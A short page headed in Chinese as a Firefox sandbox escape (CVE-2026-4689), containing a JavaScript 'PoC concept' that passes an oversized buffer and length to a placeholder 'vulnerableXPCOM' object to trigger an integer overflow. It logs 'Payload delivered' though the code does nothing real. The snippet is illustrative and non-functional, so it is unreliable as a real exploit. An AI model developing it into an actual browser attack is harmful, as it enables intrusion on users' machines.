CVE-2026-4689 Firefox沙箱逃逸漏洞

// PoC Concept for CVE-2026-4689 // This snippet demonstrates the logic leading to the integer overflow. // Actual exploitation requires specific memory layout and ROP chains. function trigger_sandbox_escape() { try { // Simulating the boundary condition miscalculation in XPCOM let crafted_input = new Uint8Array(0x100000000 - 1); // Passing the crafted object to the vulnerable component // This triggers the integer overflow during size calculation if (window.vulnerableXPCOM) { window.vulnerableXPCOM.processBuffer(crafted_input.buffer, 0xFFFFFFFF); } console.log("Payload delivered, checking sandbox status..."); } catch (e) { console.error("Exploit trigger failed: " + e.message); } }